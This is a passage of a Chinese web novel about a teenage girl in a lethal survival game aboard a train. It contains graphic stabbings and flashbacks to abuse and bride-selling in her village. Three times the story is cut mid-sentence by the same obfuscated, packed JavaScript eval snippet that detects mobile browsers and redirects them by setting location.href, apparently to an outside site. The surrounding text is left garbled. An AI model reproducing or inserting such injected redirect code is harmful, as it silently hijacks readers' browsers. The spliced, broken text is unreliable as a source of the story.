凌乱的、不确定的时间是“衔尾蛇”的特点,也是最大的危险,屠杀者利用了这项规则。现在,每节车厢里都隐藏着一名屠杀者和一名死者。】 【副本说明:本轮副本时间为五个小时,五个小时内屠杀者死亡,即可改变死者死亡的事实,如果死者在副本中被再次杀死,那将暂时拨正时间,呈现此名死者被屠杀者杀害时的死状,这将是获取屠杀者信息的唯一线索。需要注意的是,屠杀者会掩藏在普通旅客中伺机杀人,所以在寻找的过程中,请保证自己的安全。 每个小时结束时,察觉到时间的人可以凭借手中的“杀戮卷”进行杀戮,“杀戮卷”每人仅有一张。】 【副本要求:活过五个小时】 【乘客信息获取中:姓名青于,身份未知】 未知? 青于看着地上倒着的人,还有四处飞溅的血迹,开始怀疑自己就是那个所谓的“屠杀者”。 但有些奇怪,副本信息中的“屠杀者”是主动攻击死者的,而她则是被动地挥刀。要不是王美燕阴恻恻地出现在自己面前,自己也不会杀了她。 所以,我到底算不算“屠杀者”? 普通旅客的目标是找出真正的屠杀者,并确保自己不成为下一个受害者。 屠杀者的目标是隐藏自己的身份。 死者的目标是在五个小时内找出屠杀者并将其杀死,然后改变自己的死亡结局。 那么,屠杀者和死者的身份都不清晰,要怎么确认呢? 青于灵光一闪,她想到了。 在一切都是未知的情况下,不存在所谓的“普通旅客”,每个人都要将自己当成死者,在五个小时内将所有人杀死,到最后只剩一个幸存者的话,不管他的身份是什么,他都能活下去。 这样一来,屠杀者和死者并没有区别。 他们所有人都是屠杀者,所有人都是死者。 查阅完信息后,有一段空白时间。 看不到别的乘客,尸体也逐渐消失,整节车厢里只剩下她一个人。 警示灯的红光还在规律地闪烁,闪着闪着,红光渐弱,变成一个圆形的,拥有红色边框的大时钟。 这只时钟边缘处有五个用来代表时间的标记,都是盘踞的红色小蛇,而且没有分针和秒针,只有短短胖胖的时针。 突然,被时针指着的那条蛇突然张开嘴,随后发出一声“叮”。 “叮”的声音回荡在车厢中,黑暗被驱散,车厢恢复了明亮。 这节车厢里有六个人,青于、王美燕、黄发的男青年、戴眼镜的中年男人、穿红色连衣裙的女人,以及坐在车厢门口的光头男人。 车厢内的空气逐渐恢复流动,所有人都变成了活生生的人,包括王美燕。 每个人手中都拿着一张质感很厚的卡片,卡片被一条斜线分为两半,一半是红色,一半是蓝色,上面写着两个字“杀戮”。 “这一类找凶手的筛选副本不难,最常见的处理方式是等着,大家各自保命,然后等五小时结束后只会有一个死者,其余人都能成功活着。” 说话的人是那个黄头发的青年,他环抱着手臂坐在位子上,用一种极其冷漠的声音说道:“在这里,运气也是很重要的特质。而且,对你们这些新人来说,死在这里是一个很好的结局,因为在之后的副本里,你们可能连死亡的机会都没有。” 回应他的是一声嗤笑,坐在他前面一排的红裙子女人翻了个白眼,语气不善地说:“确实像你的处理方式,懦弱的黄毛怪。你这种只会躲在角落里瑟瑟发抖的人就别出来装模作样了,真正的玩家可不会像你一样缩头缩脑。” 她站起来,目光犀利地扫视了一圈,红唇勾起,不怀好意地说:“让我来告诉你们真正的玩法吧,在这个副本里,只能有一个存活者,赶紧想办法杀死别人才是要紧事。” “朱芸,你少煽动人心!” “黄毛,不是所有人都和你一样是窝囊废,或许,这些新人和我有相同的想法呢?而且你也很搞笑,在副本里装什么圣人啊?” 青于赞同女人的说法,只有活到最后的人才是安全的。 她将目光投向那个时钟,她感觉已经过了很久了,为什么时钟没有走动的迹象? 还有手中的“杀戮卷”,那是能决定一个人生死的道具,但是要怎么使用呢? 每小时结束时,察觉到时间的人可以使用“杀戮卷”杀人,一共五个小时,有五次使用的机会,这样一来,会有一张“杀戮卷”空出来……不对,不是这样算的,那个声音并没有说“察觉时间的人”不能是同一人,如果同一人多次察觉到时间流动,那么就只会消耗一张“杀戮卷”。 所以,其中的关键是,谁能成为那个“察觉时间的人”。 想到这儿,还有一件事也很重要。如果死者被“杀戮卷”杀死,那么他所呈现出来的死状会是被屠杀者杀害的模样,这是唯一会暴露屠杀者身份的线索。 青于不确定自己是不是屠杀者,但她确实有杀害王美燕的记忆,所以她只能暂且将自己当作屠杀者。 这样一来,她要尽可能地维护王美燕,遮掩她的死状,避免被其他人发现蛛丝马迹。 可她一向嘴笨,根本不知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16427613|184859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 该如何与人周旋,只擅长保持沉默和倾听。 而且在这种时候,语言未必有用,他们并不是在一张桌子上玩无关痛痒的游戏,而是在一柄刀下争夺生存的机会,互相猜忌,相互提防才是常态,在这样的局面下,谁说的话都不可信。 她必须想办法让自己成为那个“察觉时间的人”。 那之后呢?她摩挲着手里的“杀戮卷”,如果她成功了,那第一个人该是谁? 青于的目光冷漠地扫过每一个人,在这一刻,她是个冷血的猎手,也是称职的屠夫,在挑选自己的猎物。 她的脑子并不聪明,也没有通过互联网接触到太多夸张而新奇的信息,所以没有那些弯来绕去的算计和筹谋,她只认一个死理,那就是谁对她最有威胁,谁就应该第一个死。 就按照最简单的方法来分辨,用力量来衡量威胁的程度。 王美燕、黄毛、朱芸,还有那个戴眼镜的中年男人,青于觉得他们暂时没有威胁,就算最后要动手,应该也有几分胜算。最让她忌惮的是那个壮硕的光头男人,看起来凶神恶煞的,臂围很粗,鼓起的肌肉充满力量感,仿佛一拳下去就能将人打死。 就是他了。 青于还在思考,前面黄毛和朱芸已经开始动手了,黄毛手里拿着一把长匕首,朱芸手里有枪。 他们在对峙,也像两个唱戏的人在台上表演,夸张地挥舞着武器,彼此喊着威胁的话语,但谁也没有真正出手。 天又开始黑了,夜色迅速压下来,将车厢内的光线收走,只留下伸手不见五指的黑暗。 真奇怪,她感觉才天亮没多久,怎么又黑了? 黑暗的环境总是更危险些,青于不敢闭眼,手里紧紧握着自己的杀猪刀。 突然,前排传来打斗的动静,那动静并没有持续太久,很快就有一声闷哼响起,随即是重物倒地的声音。 她有预感,又有人死了。 心里升起隐秘的期待,她希望死亡的是那个壮硕的光头男人。 要是那个光头死了,那第二个选谁呢?她将所有人在脑海里过了一遍,然后将目标定为那个戴眼镜的中年男人。 就在此时,所有人都听见“咔嗒”一声,像是某种机关被触发的声音,紧接着,车厢顶部的灯忽然亮起,机械音响了起来。 “各位尊敬的乘客,第一个小时已经结束,当前车厢内死亡人数为三人。本轮死亡的两人中并没有屠杀者和首轮死者,所以,暂不公布三名死者的身份,副本继续。” 灯光明亮的车厢里依旧坐着六个人,六个看起来活生生的人,但其中有三个死者。 青于咬紧牙关,不安地抠着杀猪刀的刀柄。很麻烦,被杀死的人并没有展现出死亡的姿态,所以现在根本分不清谁是死者,谁是活人。 而且有人在她之前发现了时间的痕迹,好在“杀戮卷”只能用一次,那个人没法借着规则一直杀人。 时钟的指针指向了第二个标记,而第一个标记从一条红色的小蛇变成了一把带血的刀。 他们现在处于第二个小时内。 5. 第五章 车厢内的空气已然凝固成看不见的胶质,黏糊糊地缠在所有人身上,带来一种难以呼吸的憋闷感。灯光明晃晃地照着每个人的脸,却照不进他们眼底的猜疑和算计。 在这样明亮白炽的顶光下,人也像鬼,鬼也像人。 青于的心跳声前所未有的强烈,咚咚咚咚,一声接着一声,一声催促着一声,仿佛要震穿她的胸膛,毅然决然地扯断血管和韧带,逃离这具羸弱的躯壳。 心脏跳得太快了,太急了,让她有些恶心。 她什么都没察觉到,除了黑暗中那倒地的闷响外,她什么都没察觉到。 可在同样的时间里,有人察觉到了时间的秘密,还有人实施了杀人,实施了两次,她连一丝血腥味都没闻到。 快想啊,究竟是哪里有问题?究竟是哪里不对劲! 你的嗅觉不是很灵吗?为什么会闻不到?为什么?为什么! 握着刀柄的手开始颤抖,从手指到手臂,从手臂到肩膀,最后全身都在不规则地颤抖着,冷汗顺着额头往下滑落,流进了眼睛里,火辣辣的。 背后早已被汗湿,单薄的校服短袖紧贴着皮肤,冷得她手脚微微发麻。好像恐惧有了实质,变成了海藻一样黏糊糊湿答答的东西,紧紧贴在她身上。 呼吸越来越急促,通过骨骼传到她的耳朵里,像是飓风一般。 刀柄上裹着的粗麻绳已经被她扣得有些松了,那麻绳经过特殊处理,格外坚硬,翘起来的尖刺戳进她的指甲缝儿里,出血了,血色蔓延了整个指甲盖儿。 很疼,但是也带来了片刻的清醒。 不,别急,千万不要着急,先冷静下来,冷静下来好好观察,好好思考。 在一遍遍地默念下,青于终于冷静了些,她开始观察这节车厢里的每一个人,试图从他们身上找到一些线索。 王美燕依旧安静地坐在原位,双手交叠放在腿上,低着头,枯燥发黄的头发遮住了侧脸,让人看不清她脸上的表情。她看起来很正常,甚至比之前还要安静老实些。 但青于记得那空洞的眼神和诡异的笑容,这是她唯一的已知条件,所以如果她的观察始终没有进展,那她会选择杀死王美燕,至少能证实自己是不是屠杀者。 但是杀她的时机很难把握,什么时候会变暗,变暗的规律是什么,她现在一概不知。 黄毛依旧环抱着手臂,只是姿势有些僵硬,他紧紧抿着嘴唇,眼神在朱芸和其他人之间快速变幻,带着肉眼可见的焦虑和恐惧。 朱芸则与他恰恰相反,她甚至比之前更加张扬,以一个极为放松的姿势靠在椅背上,嘴角噙着一丝冷笑,手指无意识地摩挲着那张“杀戮卷”的边缘,烫金的“杀戮”二字在灯光下闪烁着,比任何利刃都具有威慑力。 戴眼镜的中年男人隔一会儿便要推一推镜框,喉结也频繁地滚动着,不知哪里来的那么多口水要吞咽。 他的额角有细密的汗珠渗出,脖颈上的青筋鼓起,不只是恐惧还是别的什么。他努力地强装出镇定的模样,对上任何一个人的目光都会露出一个和善的笑容。 青于配合地朝着他露出一个假笑,然后微微移开目光去看另一个人,可那男人的目光就像是黏在她身上一样,怎么甩也甩不掉,她扭头看过去,对着那不停吞咽口水的男人扬了扬手中的杀猪刀,露出一个更为灿烂的笑容。 一排整齐白净的牙露了出来,那笑容和刀刃一样危险。男人猛地缩了缩脖子,喉结剧烈地滚动了一下,随即慌乱地低下头。 那光头男人依旧像一座铁塔般伫立在那儿,他双臂抱胸,粗壮的手臂上肌肉虬结,凶恶的脸上没有任何表情,目光冷冷地观察着车厢里的一切动静,他偶尔看向朱芸和黄毛时,眼里带着一丝不易察觉的审视和警惕。 最后,青于紧盯着车厢前方那个巨大的红色时钟,试图在钟表上捕捉时间的流逝,这是她能想到的,唯一和时间有关系的东西。 可那粗短的时针滞留着,丝毫没有走动的迹象。 朱芸突然嗤笑一声,打破了死寂:“怎么?都吓傻了?刚才喊打喊杀的劲头呢?”她挑衅的目光扫过黄毛,“黄毛怪,小心哦,下一次死的就是你。” 黄毛的脸色瞬间变得煞白,他瞪大了眼睛,声音嘶哑地吼道:“闭嘴!” 他眼里布满了红血丝,整个人因为紧绷有些颤抖,那只手死死攥着衣角,指节泛白,虚张声势地吼着:“朱芸,你少在这里煽风点火!谁知道新增的两个死者是不是你干的?你刚才不是挑唆着让他们自相残杀吗?” “呵,”朱芸轻蔑地翻了个白眼,眼睛紧紧闭了一下表示不屑,她的身体微微前倾,流畅的身形像一只蓄势待发的猎豹,说话时格外狂妄,“你要么拿出证据指认我,要么直接动手杀了我。要是又没证据又没胆子,就缩好你的脑袋,别在这里狗叫,吵得人心烦。” 中年男人突然出声试图拉架,他的声音平缓沉稳,有种窝囊的轻柔感:“大家冷静点,现在情况不明,互相猜忌只会让屠杀者有机可乘。我们、我们是不是该想办法确认一下谁是……” “确认?”朱芸打断他,眼神格外凌厉地看向他,仿佛要将他一点点凌迟,“你想怎么确认?靠嘴说吗?还是靠你那张没用的‘杀戮卷’?省省吧,在这种地方,指望所有人配合你比登天还难。” 她的目光有意无意地瞟向光头男人的方向,话里话外充满了暗示。 光头男人依旧沉默着,并没有参与到这场言语冲突中来。他的目光与朱芸短暂交汇,像两个肉食者冷漠地审视和评估,好像在这节车厢里,他们只认可对方成为自己的对手,其余的人都是势在必得的猎物。 青于的视线在朱芸和光头之间快速移动,脑子里疯狂盘算着。 从眼前的局势来看,引导朱芸和光头之间的矛盾是最紧要的,那样一来可以看看他们双方的能力,又能一下除掉两个威胁者。但是,这样很危险,非常危险。 朱芸和光头绝非善类,稍有不慎就可能反被利用,成为他们计划中的一环。 而且朱芸敢在这种时候出头当一个靶子,显然有所倚仗,会不会,她所期待的就是有人能先出手,自己跳入她设下的陷阱。 此时,朱芸和黄毛的争执声调再次拔高,中年男人焦急地试图劝阻,他甚至从座位上站了起来,走到黄毛身边低声下气地劝他退一步,说什么“好男不跟女斗”。 就在这时,朱芸手中凭空出现了一把刀,刀刃泛着寒光,在顶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16427614|184859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 灯的照射下越发渗人。她将刀刃指着中年男人,让他滚开。 所有人都有片刻的呆滞,显然是被朱芸突然拿刀的动作吓住了,在一瞬间的定格后,是夹着尾巴走开的中年男人、拿着刀越发威风的朱芸、气得脸红脖子粗的黄毛。 闹剧还在眼前上演,但青于好像领悟了什么叫时间的秘密。她的心脏剧烈跳动起来,目光瞬间看向那高高悬挂的时钟。 她舔了舔唇,轻轻咬着唇上因干裂而翘起的一小片皮,待那皮被她彻底咬下后,唇上多了个小伤口,刺刺地疼,还流了血。 咽下一口带着血丝的唾沫,她不安地摩挲着那张“杀戮卷”,轻轻启唇,无声地说:“第二个小时是,争执。” 眼前的画面被定格了,只有一个简单的屏幕出现在她眼前,纯白的屏幕上浮现着黑色字迹,看起来很是不祥。 【争执:黄毛与朱芸矛盾激化,中年男人介入失败。】 【第二个小时的事件已成功截取,生成时间坐标。】 【尊敬的旅客,“杀戮卷”已生效,现在,请您确定您要杀死的目标。请您放心,“杀戮卷”成功消耗后,您依旧会保留着一张一模一样的纪念品,那是本次副本留给您的记忆坐标。】 纯白的屏幕上出现了选择界面,五个人的头像在上面一一呈现。 青于的指尖悬在屏幕上方,难以抉择。 她想要杀死王美燕,通过她的死状来确定自己究竟是不是屠杀者,如果她的死状是被自己一刀劈开,那自己就是屠杀者,可如果不是,那就是假的,是障眼法。 她想要杀死那个光头,那人看起来就不好惹,如果正面对上,自己一定不是他的对手。 可……王美燕的死状其实没那么重要,因为不管是不是屠杀者,想要活下去就只能不断杀人,而且她不敢肯定第一个小时里的两个死者中没有自己。 既然这样,那就杀威胁大的。可是杀了也不会死,照样还是活着的,有什么用吗? 【尊敬的旅客,死者没有察觉时间的能力,手中的杀戮卷也会失效。请谨记,副本目标是找出“屠杀者”,本次副本只有两个结局,“屠杀者”死亡,全员生还,“屠杀者”胜利,仅他一人存活。】 【尊敬的旅客,所有低级副本都不会造成不可逆的死亡,在副本结束时,所有死者都会活下来,但需要扣除大量的通关币。请您努力存活,避免背上巨额债务。】 青于又问:“通关币很重要吗?不还债会怎么样?” 【尊敬的旅客,若债务堆积到一定程度,双子大厦会派人前来讨债,请您不要试图招惹他们。】 青于:“谢谢你。” 【旅客不必道谢,为您答疑解惑是我们的职责,在停格的时间里,您可以向我们咨询一切问题,不管什么问题,只要您付得起代价,我们就会给出答案。玩家青于本次共咨询三个问题,共收费六个通关币,将在下车时统一收取。】 青于:“收费的你怎么不早说!” 【尊敬的旅客,请您注意时间,时间是极为宝贵的资源,您只有五分钟的时间能够考虑,现在只剩二十秒,后续超出的时间将会全部换算为通关币。】 青于:“我选!我选光头!” 6. 第六章 她话音落下的一瞬间,屏幕上属于光头的头像闪烁了一下,随即暗淡下去。 三个鲜红的大字覆盖其上:已死亡。 随即“咔嗒”一声,时针往前走了一步。他们成功越过了第二个小时,现在的时间节点是第三个小时。 第二个小时的标志从一条盘踞的蛇变为好几条缠绕在一起的红色小蛇,乱糟糟的,像针线筐里的红色毛线团。 电子音也开始播报了:“各位尊敬的乘客,第二个小时已经结束,当前车厢内死亡人数为四人。本轮死亡的一人中没有屠杀者和首轮死者,所以,暂不公布四名死者的身份,副本继续。” 没有! 青于被不安攫住,她没上过学,自然不知道什么概率,只知道现在车厢内的活人里,有一个屠杀者、一个死者、一个普通旅客。 第一个小时死亡了两人,但是两人中没有死者和屠杀者,所以不公布身份。 第二个小时死亡了一人,同样不是死者和屠杀者,所以身份依旧保密。 这三个人的身份是绝对安全的。 死者无法察觉时间的流动,也无法使用“杀戮卷”,所以我不是死者。 光头被我杀了,所以我可以证实他普通旅客的身份。 现在除了我之外,只有一个人可以察觉时间,但是他未必能使用“杀戮卷”。 如果那人就是第一个小时里察觉时间的人,那他也没有使用“杀戮卷”的机会了,所以现在,想要杀人,必须直接杀。 好像没那么难了,有点头绪了。果然,试一试,总能行的,就算她对这趟列车完全陌生也没关系,万一呢,万一她就是能够很快适应呢。 人活着是没有退路的,只能闷着头往前走,不管什么时候,总得拼一把,万一呢。 青于现在已经隐约懂了什么是时间流动,就是事件。这些具体的事件形成了时间坐标,让人更方便翻找回忆。 她也有这种习惯,因为没有手机手表这类的计时工具,所以学会了用具体的事情来代指时间,跟人交流时也不会说哪年哪月哪日,而是有更为具体的细节,在他们的交流中,事件成为了时间。 去年收玉米的时候雨水多,地里的路不好走,收一块地的玉米都要忙活好几天。那几天她总和邻居家的姐姐结伴,走在泥泞的田埂上,一边啃着生玉米一边说悄悄话。 姐姐说她要嫁人了,她奶觉得她年纪大了在家里待着让外人看笑话,正巧有人上门提亲,她奶就要把她打发了。 在他们村,嫁女儿叫打发女儿,养了十几年,最后把她打发去别人家里当妻子、当妈妈。 青于还记得那天的雨滴砸在玉米叶上,噼啪作响,像老天爷在笑话她们一样。 笑她们没用,笑她们命贱,笑她们十几岁离开家,笑她们一辈当牲口。 邻居家的姐姐才十九岁,就被家里打发了。 后来,提起那一段时间,老人们就会说,小春彩出嫁的时候。 小春彩出嫁的那年,雨水特别多,第二茬种下的玉米种子都泡得发了芽。 小春彩出嫁的那年,王富家遭了难,他家的冬瓜树长得最好,有买家上门买,王富就带人上山,卖了树,兜里有了钱,下山的时候就把腿摔断了,之后那些钱全部交了医院。 冬瓜树是桤木,青于小时候和妈妈一起逃跑,她们躲在桤木林深处,听着村里人打电话,说是在冬瓜树林里发现了脚印。妈妈一边哭一边抱着她说,“小鱼,这个树的学名叫桤木,妈妈这次带你出来,就是让你看看桤木。” 她那时太小,信了。 小春彩出嫁的那年,青于的堂哥大学毕业回村里,穿得像个城里人,提着给家里人买的礼物,说自己要读研读博。 村里人不知道什么是研,什么是博,只知道王富儿子六千买的那个老婆名字里有个妍,那是个四十岁的女人,只比王富小三岁,嫁过很多人,生过很多孩子,王富家看重她能生儿子。 堂哥给青于买了条裙子,细肩带,湖蓝色,上身会紧紧地勒住身体,下面的裙摆很宽大,像一朵喇叭花。 青于从没穿过这样的裙子,就躲在夜里悄悄试衣服,借着昏暗的月光一点一点往上提,布料滑过皮肤,像夏日里突然掠过的凉风,也像一只没有茧子的手掌。 她不敢让旁人看见,所以小心翼翼地试,但还是惊扰了睡眠很浅的奶奶,她睁着眼坐起来,目光从裙摆上移到青于瘦弱的身板上,最后定在青于的脸上,丧着一张脸,语气阴森地说:“你哥是念书的人,要讲派头,你一个贱丫头穿这么妖做什么?骚里骚气的,让人家看笑话。” “脱下来!” 青于脱了裙子,踩在脚底下,赤条条地站在屋里,站在自己那张用板凳和红板搭出来的小床边,月光凉凉地覆盖着她的全身,像是一件独属于她的衣裳。 奶奶从铺上起来,瘦巴巴的身体很是干练,她动作强硬地拽走那件衣裳塞进装衣服的木箱子里,锁上箱子后,她低声咒骂着“骚货”“小贱人”,那道声音像毒蛇一样钻进青于的皮肤里,用两颗毒牙慢慢磨着,将她的皮剥下,只剩下鲜红的血肉。 而奶奶指着她鲜红的血肉骂道:“小贱人,穿得这么艳是要勾引谁?” 言语又化作利刃,剜下她的血肉,只剩森森白骨。 那是白骨,灰白的颜色,老实的颜色,安分的颜色,所以奶奶不再骂她。 堂哥问她为什么不穿新裙子,她低着头沉默地扫着猪圈,一言不发。 堂哥就说,“青于,小时候的事是我不懂事,你别怪我。等我开学了,我带你一起离开村里,你可以去城里打工,自己赚钱养活自己,怎么着也比困在村子里一辈子好。” 她没答应也没拒绝,只是问:“哥,研和博是什么?” 堂哥说那是学历,是学位,是山里的土地里长不出的东西。 青于望着远处起伏的山影,忽然觉得堂哥这个大学生也没那么聪明,山里的土地里怎么会长不出来研和博?明明堂哥的一切都是土地里长出来的,这些贫瘠的土地养活了他,也养活了他念的书,研和博都只是穗子,长在堂哥这根茎秆上的穗子。 前程是看不见的田,一家人都在努力耕耘。 但是堂哥会想要带她离开,应该是个好人。 可是,要是这个好人没有在十几岁的时候把她关在房间里剥了衣服就更好了,她挣脱他的怀抱离开,像一条鱼游出了黑色的海洋,去找家里说话分量最重的奶奶。 “小孩子家家懂什么,你哥跟你闹着玩的。”奶奶的手掐着她的胳膊,狠狠地掐着,还要叮嘱她:“别往外说,这事儿你吃亏,往后找不到婆家的。” 又说闹着玩儿,又说她吃了亏,话里的矛盾左右拉扯着,像两股绳绞紧她的喉咙,给她判了死刑。 她没再说话,盯着门槛外一株狗尾草,那穗子毛茸茸的,像堂哥毛衣上的线头。 她其实懂的,她懂那不是闹着玩,而是一种没有人性的攻击,毕竟,她曾经遇见过,在妈妈还在的时候。 那时候妈妈还在,她跪在地上,满手鲜血地把自己抱进怀里,小声说:“没事的小鱼,妈妈帮你把坏人打跑了。如果以后妈妈不在了,你要自己把坏人打跑,不要被欺负。” 妈妈不在了,坏人却还在。 青于知道,她必须继承妈妈的意愿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16427615|184859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,把坏人打跑。 “砰——” 那中年男人突然猛地撞向车厢连接门,巨大的声响将青于从自己的思绪中唤醒,她快速将那些情绪抽离,冷漠地盯着那个男人的动作。 她总是很容易发呆,随后陷入自己的思绪里,对外界的感知变得迟钝。 这是个坏习惯,在这样危险的环境中会让她陷入被动。但也是个好习惯,在曾经的过往中,她这样抵御着外界的伤害,那些伤害变得轻描淡写,刮不下她一层油皮。 男人踉跄着站稳,回头瞥了一眼他们,目光里满是恐惧,大声嚷嚷着:“快来啊!我们一起撞开这扇门,然后逃出去,难道你们都想死吗?” “我要下车!我要下车!” 所有人都冷漠地看着他。 就连朱芸和黄毛都停止了争吵,目光里透着讥诮与麻木。 那男人看他们无动于衷,便喘着粗气继续用肩膀狠狠撞击那扇金属门,一下又一下,沉闷的撞击声响彻车厢。 他像个笑话,又像一头困兽。 他坚持不懈地撞门,始终没有人去帮他。 青于看着看着,突然想起来一件事,朱芸和黄毛一直在争吵,但是第一个小时内,所有人都很安静,他们便不受干扰地吵到第一个小时结束。 然后天黑、杀人、时间结束。 杀人是第一个小时的事件,所以是染血的刀。 争执是第二个小时的事件,所以是缠绕的蛇。 第二个小时和第一个小时很是相似,朱芸和黄毛一直在争吵,唯一的区别就是中年男人试图劝架。 他真的想劝架吗?还是想要借着劝架这个行为,制造事件。 正如现在,他试图借着撞门这件事,制造新的事件。 那他为什么会知道呢?难不成第一个小时内杀人的是他?他原本只想藏在暗中杀人,没想到机缘巧合之下导致事件成立,然后又顺势使用了“杀戮卷”,所以那一轮死了两个人。 那他会是除了自己之外的那个活人吗? 青于凝视着那中年男人的背影,他穿着一件浅蓝色的衬衫,袖口磨损得起了毛边,领口因为多次清洗松垮变形,看起来有些邋遢。现在他后背被汗水浸透,衬衫紧贴在脊背上,勾勒出他瘦削的肩胛骨。 握着刀柄的手越来越紧,青于觉得自己身体里有一只弹簧,已经被压到了极致,随时都会弹出。她在努力压制那只弹簧,生怕自己失控地冲上去验证猜想。 车里的灯好亮,在这样明亮的光线下动手,她有些紧张。 再等等,等下一次灯灭,一定会灭的。 不过,在灯灭前,她得往前挪一挪,不然在黑暗中从最后排跑到最前面的车厢连接门实在有些困难。她缓缓起身,脚步轻得几乎听不见,一排一排向前移动,最终坐在了王美燕的前面一排。 和那个男人之间隔着一排的距离。 为了让自己改变座位的行为不那么突兀,她就转头看向王美燕,很小声地和她搭话:“你有什么发现吗?你是老师,一定很聪明,有什么发现吗?” 王美燕猛地抬头,脸上的表情有些狰狞,那双眼瞪得大大的,像是要从眼眶里滚落出来一样。 她喑哑地出声回答:“我跟你说过,我是老师吗?” 青于被她吓了一跳,皱着眉说:“我自己猜的,你说你女儿上高中,学校老师都说你们长得像,她去学校那些老师总会问她是不是你女儿……所以,你有什么发现吗?” 王美燕怔了片刻,扯着嘴角露出一个有些阴森的笑容,“没有。你呢,你有什么发现呢?” 青于摇了摇头,照样说,“没有。” 7. 第七章 客套且没有意义的闲聊到此结束,两人都没了交流的欲望,各自撇开脸,面无表情地盯着一个方向发呆。 青于握紧刀柄,脑子里出现了很多画面,都是即将发生的事情,她在脑海里一遍遍预演,确保待会儿冲上去的时候万无一失。 要怎么冲过去,要从哪儿下刀,杀了人后怎么脱身,她慢慢地想着,细细地想着。 杀猪的时候是捅脖子,割断血管,让血快速地喷涌出来,这样不会伤及内脏,猪血也能完整收集。 但是杀人有些不同,杀人的时候,割脖子放血太慢了,得直接刺穿心脏,才能一击毙命。刀刃要顺着肋骨的缝隙狠狠捅进去,避开骨头的阻挡,精准刺入心脏,以前她只是幻想,无数遍地幻想将尖刀刺进那些人的心脏。 但是因为不清楚人体构造,所以每回做梦都只能凭感觉找位置,后背或前胸胡乱地捅上几刀,鲜血四溅,把整个梦都染得通红,醒来后却连下刀的位置都记不清。 后来她捅了很多人,渐渐有了些手感,知道心脏大概在那个位置,拳头大小的一颗,算不上大,捅歪了也不要紧,只要扎进胸腔里,不停地搅动刀刃,总能戳到,就算戳不到心脏,将肺部捅破也依旧会死。 上方的灯忽然闪了两下,随即开始规律地闪烁。 每一次黑暗降临都只有短短几秒,却足以让车厢陷入令人窒息的恐慌。每一次光明重现,都会短暂地照亮那些惊慌失措的脸。 “怎么回事?灯怎么了!” 朱芸大声喊叫着,在这跳跃着不安的光线下,她的声音格外尖利,像是一柄尖刀,划破了平静的假象,也划破了所有人浮于表面的镇定。 黄毛也猛地站起身,警惕地环顾着四周,手上不知何时多了把枪,他打开手枪的保险栓,子弹上膛的声音格外清脆,是威慑也是警告。 “我靠,搞什么鬼!”黄毛举着枪的时候,好像胆子都大了不少,整个人舒展又放松,不像是先前畏缩的姿态。 王美燕则闭眼躲避那光线的闪烁,她取下眼镜握在手里,嘴唇无声地翕动着,看起来神神叨叨的。 那个男人撞门的声音也消失了,他就那么站在那里,一动不动的,仿佛在等待什么。在等什么?时间的跳动,还是即将来临的死亡? 青于站起来了,身体里那只被压到极致的弹簧猛地弹开,她迫不及待地从座位上弹起来,冲向早已盯上的猎物,想要用这个猎物的死亡换取一个答案。 就是现在! 在光明与黑暗不断交错的掩护下,她紧握着刀,手臂蓄满了力量,目标明确地扑向前方那个扶着门框的身影。她的呼吸短暂停滞,不敢惊扰此刻的迫切,所有感官都集中在一点上,那汗湿的蓝色衬衫下,大概属于心脏的位置。 在短暂又纯粹的黑暗中,那柄沉重的杀猪刀破开空气狠狠刺了中年男人的后背。她能感觉到刀尖刺破布料后没入皮肉的阻力,用力破开阻力后,那顺畅的穿透感让她兴奋得浑身战栗。 “啊!”一声短促又凄厉的惨叫在黑暗中炸响,随即被亮起的灯光暴露无遗。两张同样狰狞的脸暴露在众人的目光中,一张因为疼痛而狰狞,一张因为兴奋而狰狞。 刀刃被拔出,鲜血随之喷涌,溅在青于脸上和身上,温热而腥咸的液体弄脏了她新买的衣服。男人倒地,大片血迹在车厢地板上迅速蔓延,蜿蜒地流着,从宽到窄,一条殷红的线贯穿了这一节车厢。 此时灯光大亮,将车厢内的一切照得清清楚楚。拿着刀浑身是血的行凶者,还有倒在地上浑身抽搐的受害者,血液从他胸口的洞里涌出,源源不断。 他张着嘴,喉咙里发出“嗬嗬”的声响,四肢徒劳地挣扎着,看着是想要站起来,却始终没有成功,反倒蹭得地板上全是血。 车厢内死一般的寂静,连鲜血滴落在金属地板上的“嘀嗒”声都格外清晰。 朱芸和黄毛彻底僵住了,脸上的愤怒和警惕被纯粹的震惊所取代,王美燕捂住了嘴,眼睛瞪得好大,死死盯着那具尸体。而那个光头则站了起来,目光落在青于身上,没有惊恐和警惕,只有满满的赞许。 